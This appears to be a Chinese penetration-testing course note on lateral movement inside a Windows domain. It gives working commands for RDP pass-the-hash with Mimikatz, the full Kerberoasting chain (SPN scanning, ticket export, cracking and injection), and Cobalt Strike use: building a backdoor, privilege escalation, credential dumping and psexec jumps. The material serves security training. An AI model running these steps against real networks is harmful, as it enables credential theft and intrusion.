内网-域横向 CobaltStrike&SPN&RDP

2021/11/14 23:43:26

本文主要是介绍内网-域横向 CobaltStrike&SPN&RDP,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

域横向 CobaltStrike&SPN&RDP
在这里插入图片描述

本课重点:

  • 案例1:域横向移动RDP传递-Mimikatz
  • 案例2:域横向移动SPN服务-探针,请求,导出,破解,重写
  • 案例3:域横向移动测试流程一把梭哈-CobaltStrike初体验

案例1-域横向移动RDP传递-Mimikatz

除了上述讲到的IPC,WMI,SMB等协议的链接外,获取到的明文密码或HASH密文也可以通过RDP协议进行链接操作。

RDP协议连接:判断对方远程桌面服务是否开启(默认:3389),端口扫描判断

RDP明文密码链接
1.windows: mstsc
2.mstsc.exe /console /v:192.168.3.21 /admin
3.linux: rdesktop 192.168.3.21:3389

RDP密文HASH链接
windows Server需要开启 Restricted Admin mode,在Windows 8.1和Windows Server 2012 R2中默认开启,
同时如果Win 7 和Windows Server 2008 R2安装了2871997、2973351补丁也支持;

开启命令:
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

开启后运行:
1.mstsc.exe /restrictedadmin
2.mimikatz.exe
3.privilege::debug
4.sekurlsa::pth /user:administrator /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7 "/run:mstsc.exe /restrictedadmin"

img

案例2-域横向移动SPN服务-探针,请求,导出,破解,重写

kerberos中的spn详解:https://www.cnblogs.com/backlion/p/8082623.html

黑客可以使用有效的域用户的身份验证票证(TGT)去请求运行在服务器上的一个或多个目标服务的服务票证。DC在活动目录中查找SPN,并使用与SPN关联的服务帐户加密票证,以便服务能够验证用户是否可以访问。请求的Kerberos服务票证的加密类型是RC4_HMAC_MD5,这意味着服务帐户的NTLM密码哈希用于加密服务票证。黑客将收到的TGS票据离线进行破解,即可得到目标服务帐号的HASH,这个称之为Kerberoast攻击。如果我们有一个为域用户帐户注册的任意SPN,那么该用户帐户的明文密码的NTLM哈希值就将用于创建服务票证。这就是Kerberoasting攻击的关键。

SPN扫描

  • 当计算机加入域时,主SPN会自动添加到域的计算机账号的ServicePrincipalName属性中。在安装新的服务后,SPN也会被记录在计算机账号的相应属性中。
  • SPN扫描也称为”扫描Kerberos服务实例名称”。在活动目录中发现服务的最佳方法就是SPN扫描。SPN扫描通过请求特定SPN类型的服务主体名称来查找服务。与网络端口扫描相比,SPN扫描的主要特点是不需要通过连接网络中的每个IP地址来检查服务端口(不会因为触发内网中的IPS、IDS等设备的规则而产生大量的警告日志)。因为SPN查询是Kerberos票据行为的一部分,所以检测难度很大。
  • 由于SPN扫描是基于LDAP协议向域控制器进行查询的,所以,攻击者只需要获得一个普通的域用户权限,就可以进行SPN扫描。
  • 在域环境中,发现服务的最好办法就是通过”SPN扫描”。通过请求特定SPN类型服务主体名称来查找服务。
1探针
setspn -q */*
setspn -q */* | findstr "MSSQL"

2请求票据
# 删除缓存票据
klist purge

# powershell请求
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "xxxx"

# mimikatz请求
mimikatz.exe "kerberos::ask /target:xxxx"

# 查看票据
klist

3导出票据
# mimikatz
mimikatz.exe "kerberos::list /export"

4破解票据
# 破解工具tgsrepcrack.py python3环境运行
python tgsrepcrack.py passwd.txt xxxx.kirbi
python3 .\tgsrepcrack.py .\password.txt .\1-40a00000-jerry@MSSQLSvc~Srv-DB-0day.0day.org~1433-0DAY.ORG.kirbi

5重写票据
python kerberoast.py -p Password123 -r xxxx.kirbi -w PENTESTLAB.kirbi -u 500
python kerberoast.py -p Password123 -r xxxx.kirbi -w PENTESTLAB.kirbi -g 512
mimikatz.exe kerberos::ptt xxxx.kirbi # 将生成的票据注入内存

6利用
dir //xxx.xxx.xxx.xxx/c$

kerberoast下载:https://github.com/nidem/kerberoast

环境准备

img

img

案例演示

<1>探针

setspn -q */*
setspn -q */* | findstr "MSSQL"

img

探针到这么多服务后,我们完全可以按照相关服务的常规攻击手段进行攻击,不一定非要用本案例演示的破解票据手段。

<2>请求票据

klist purge //删除缓存票据
klist	//查看票据

# 请求票据 
# powershell请求
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "xxxx"

# 或者mimikatz请求
mimikatz.exe "kerberos::ask /target:xxxx"

img

img

<3>导出票据(到mimikatz运行目录)

# mimikatz
mimikatz.exe "kerberos::list /export"

img

<4>破解票据

# 破解工具tgsrepcrack.py python3环境运行(将票据拖到本地破解)
python tgsrepcrack.py passwd.txt xxxx.kirbi
python3 .\tgsrepcrack.py .\password.txt .\1-40a00000-jerry@MSSQLSvc~Srv-DB-0day.0day.org~1433-0DAY.ORG.kirbi

img

破解成功,密码是Admin12345,可以为后续渗透测试做准备。

这种方法得到只是mssql服务账户密码(权限不大),而mssql系统管理员账户密码我们是无法得到的。

img

<5>重写票据(属于后续攻击,不一定会成功,-u500指的是管理员用户,-g512指的是管理员组)

python kerberoast.py -p Password123 -r xxxx.kirbi -w PENTESTLAB.kirbi -u 500
python kerberoast.py -p Password123 -r xxxx.kirbi -w PENTESTLAB.kirbi -g 512
mimikatz.exe kerberos::ptt xxxx.kirbi # 将生成的票据注入内存

<6>利用

dir //xxx.xxx.xxx.xxx/c$

案例3-域横向移动测试流程一把梭哈-CobaltStrike初体验

CobaltStrike4.0用户手册:https://pan.baidu.com/s/15DCt2Rzg5cZjXnEuUTgQ9Q 提取码:dtm2

CS神器大概流程:启动-配置-监听-执行-上线-提权-信息收集(网络,凭证,定位等)-渗透

1.关于启动及配置讲解
2.关于提权及插件加载
3.关于信息收集命令讲解
4.关于视图自动化功能讲解

演示:

启动:

运行teamserver团队服务器:
./teamserver 团队服务器的ip地址 密码(有这个密码就连接到工具上去)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BsgLBSkv-1636903415863)(C:\Users\huangzexin\AppData\Roaming\Typora\typora-user-images\image-20211114224856159.png)]

启动完后打开本地客户端

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qU2BDuQ4-1636903415865)(C:\Users\huangzexin\AppData\Roaming\Typora\typora-user-images\image-20211114224919557.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PWt6z6UV-1636903415867)(C:\Users\huangzexin\AppData\Roaming\Typora\typora-user-images\image-20211114224930624.png)]

阿里云服务器要开启这个端口(注意!) 否则连接会超时奥!

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-B1zI3ReW-1636903415870)(C:\Users\huangzexin\AppData\Roaming\Typora\typora-user-images\image-20211114224955877.png)]

连接成功:这样就进入到cs的工具画面

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AgGlOKJ6-1636903415872)(C:\Users\huangzexin\AppData\Roaming\Typora\typora-user-images\image-20211114225024126.png)]

这就是它的简单启动

配置

启动完之后更重要的就是配置,它怎么上线。可以理解为它就是一款远控工具,这个远控工具里面又实现了一些功能,大部分攻击主机,我先要控制它再在上面做后续操作。下一步就是让对方上线,但是由于它是一个团队服务器,你搞的主机和我搞的主机怎么区分开呢?加入我和你都连接到终端,可以多个人连接上来一起攻击,但是怎么区分哪个是你的哪个是我的?要通过配置监听器来实现,从你这个监听器过来的就是你攻击的。监听器就是配置木马传输的管道!

如何配置监听器?

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OlQ1IQnC-1636903415874)(C:\Users\huangzexin\AppData\Roaming\Typora\typora-user-images\image-20211114225137092.png)]

Beacon为内置的Listener,即在目标主机执行相应的payload,获取shell到CS上;其中包含DNS、HTTP、SMB。

Foreign为外部结合的Listener,常用于MSF的结合,例如获取meterpreter到MSF上。


[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qJ8s7ErX-1636903415877)(C:\Users\huangzexin\AppData\Roaming\Typora\typora-user-images\image-20211114225230116.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bKTnVbmM-1636903415879)(C:\Users\huangzexin\AppData\Roaming\Typora\typora-user-images\image-20211114225237315.png)]

下面生成后门文件:
点击attack——windows executable(常用)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-v7F6g5E1-1636903415880)(C:\Users\huangzexin\AppData\Roaming\Typora\typora-user-images\image-20211114225322509.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1tlFPk5u-1636903415883)(C:\Users\huangzexin\AppData\Roaming\Typora\typora-user-images\image-20211114225341102.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gS5t93PW-1636903415885)(C:\Users\huangzexin\AppData\Roaming\Typora\typora-user-images\image-20211114225401159.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lxEXMsdj-1636903415887)(C:\Users\huangzexin\AppData\Roaming\Typora\typora-user-images\image-20211114225408635.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RBG8oAQ5-1636903415889)(C:\Users\huangzexin\AppData\Roaming\Typora\typora-user-images\image-20211114225414237.png)]

现在我们把这个web.exe后门复制到2008r2webserver,执行,执行后:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UPVtPbie-1636903415891)(C:\Users\huangzexin\AppData\Roaming\Typora\typora-user-images\image-20211114225436275.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cdwFpk5w-1636903415893)(C:\Users\huangzexin\AppData\Roaming\Typora\typora-user-images\image-20211114225458726.png)]

(webadmin是当前用户权限)

现在要对它进行提权操作:

点击Access——elevate(提权)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rSK9KVn5-1636903415895)(C:\Users\huangzexin\AppData\Roaming\Typora\typora-user-images\image-20211114225537744.png)]

自带只有两种提权方式,我们要加载插件:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-utYTswjm-1636903415897)(C:\Users\huangzexin\AppData\Roaming\Typora\typora-user-images\image-20211114225558725.png)]

插件在“涉及资源”之中,我们下面用第3条资源和第六条(taowu.)

插件该如何加载?(加载插件就是因为插件上有一些其他功能)
点击Cobalt strike——script manager(脚本管理器)——点击load上传插件

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1XZZH6GQ-1636903415899)(C:\Users\huangzexin\AppData\Roaming\Typora\typora-user-images\image-20211114225754580.png)]

load过后 选中——点击Unload就是加载插件(再右键被控制的主机——Access——Elevate发现多了一些插件:)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-otK2Wh3L-1636903415901)(C:\Users\huangzexin\AppData\Roaming\Typora\typora-user-images\image-20211114225822717.png)]

这个插件就帮我搞了几个payload,三个提权exp,选中其中一个,比如ms14-058——选择监听器

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-grSWLnF7-1636903415903)(C:\Users\huangzexin\AppData\Roaming\Typora\typora-user-images\image-20211114230913253.png)]

点击launch后就会利用ms14-058对它进行攻击,如果速度过慢,就右键webadmin——session——sleep(设置为1或0)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Uuw7uwtv-1636903415905)(C:\Users\huangzexin\AppData\Roaming\Typora\typora-user-images\image-20211114230944187.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sMc975Xt-1636903415908)(C:\Users\huangzexin\AppData\Roaming\Typora\typora-user-images\image-20211114231502965.png)]

由于已经提升到system权限,就用终端来执行(右键interact)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vkaIAkoV-1636903415912)(C:\Users\huangzexin\AppData\Roaming\Typora\typora-user-images\image-20211114231524200.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QK1Ff3t9-1636903415915)(C:\Users\huangzexin\AppData\Roaming\Typora\typora-user-images\image-20211114231541231.png)]

输入help可以查看命令
输入getuid,返回的就是system

现在已经得到这台主机的系统权限了,接下来就要进行内网渗透,并且要判断它的网络环境
接下来就是我们的第三步:信息收集

执行net view(执行它当前的网络环境)就会探测当前的网络架构:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-99zooSS4-1636903415918)(C:\Users\huangzexin\AppData\Roaming\Typora\typora-user-images\image-20211114231612554.png)]

这些信息不可能我们每个都收集一下,点击view——targets,所有探测的信息就会自动展示出来:(执行net view的时候就会加载出来)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lKTzeUgg-1636903415920)(C:\Users\huangzexin\AppData\Roaming\Typora\typora-user-images\image-20211114231647430.png)]

还要判断是不是域环境:
输入net computers

还有一些命令比如 net dclist,获取当前dc列表,它就会获取域控地址

net 后tab可以查看一些命令

执行net user /domain 官方没有:就调用shell去执行——》shell net user /domain(得到域内用户)用shell就和在windows上一样

》shell ipconfig
》shell net user /domain

收集口令凭证:system右键(webadmin权限不够)——access——run mimikatz

收集到口令之后我也不可能一个个翻一个个看,怎么办?
点击view——选择credentials:可以看到获取的密码,都帮你记录好了

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-u13A85sH-1636903415922)(C:\Users\huangzexin\AppData\Roaming\Typora\typora-user-images\image-20211114231841158.png)]

前期信息收集都差不多了(判断工作组,判断域,域内用户的信息收集,收集口令凭证等)

对收集到的目标进行攻击:比如我要攻击192.168.3.32——右键jump(就是对它进行攻击)——psexec

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-w4BNgOnv-1636903415924)(C:\Users\huangzexin\AppData\Roaming\Typora\typora-user-images\image-20211114231910382.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VEdpSaPw-1636903415926)(C:\Users\huangzexin\AppData\Roaming\Typora\typora-user-images\image-20211114231924562.png)]

它就会调用jump的psexec来连接主机,尝试攻击。

其他操作自己慢慢摸索吧~

CobaltStrike Aggressor 脚本合集(可以自行在GitHub搜索):

https://github.com/harleyQu1nn/AggressorScripts
https://github.com/Und3rf10w/Aggressor-scripts
https://github.com/001SPARTaN/aggressor_scripts
https://github.com/rasta-mouse/Aggressor-Script
https://github.com/threatexpress/aggressor-scripts
https://github.com/ramen0x3f/AggressorScripts
https://github.com/FortyNorthSecurity/AggressorAssessor
https://github.com/michalkoczwara/aggressor_scripts_collection
https://github.com/ars3n11/Aggressor-Scripts
https://github.com/gaudard/scripts/tree/master/red-team/aggressor
https://github.com/bluscreenofjeff/AggressorScripts
https://github.com/vysecurity/Aggressor-VYSEC
https://github.com/killswitch-GUI/CobaltStrike-ToolKit
https://github.com/rsmudge/ElevateKit (第三方提权攻击)
https://github.com/QAX-A-Team/CobaltStrike-Toolset
https://github.com/DeEpinGh0st/Erebus (Erebus CobaltStrike后渗透测试插件,持续更新)
https://github.com/branthale/CobaltStrikeCNA
https://github.com/pandasec888/taowu-cobalt-strike(仓库已关闭)

红队实战演练环境:https://pan.baidu.com/s/14eVDglqba1aRXi9BGcBbug 提取码: taqu

参考:

https://hackergu.com/kerberos-sec-spn-search/

https://blog.csdn.net/Waffle666/article/details/120380336



这篇关于内网-域横向 CobaltStrike&SPN&RDP的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!


扫一扫关注最新编程教程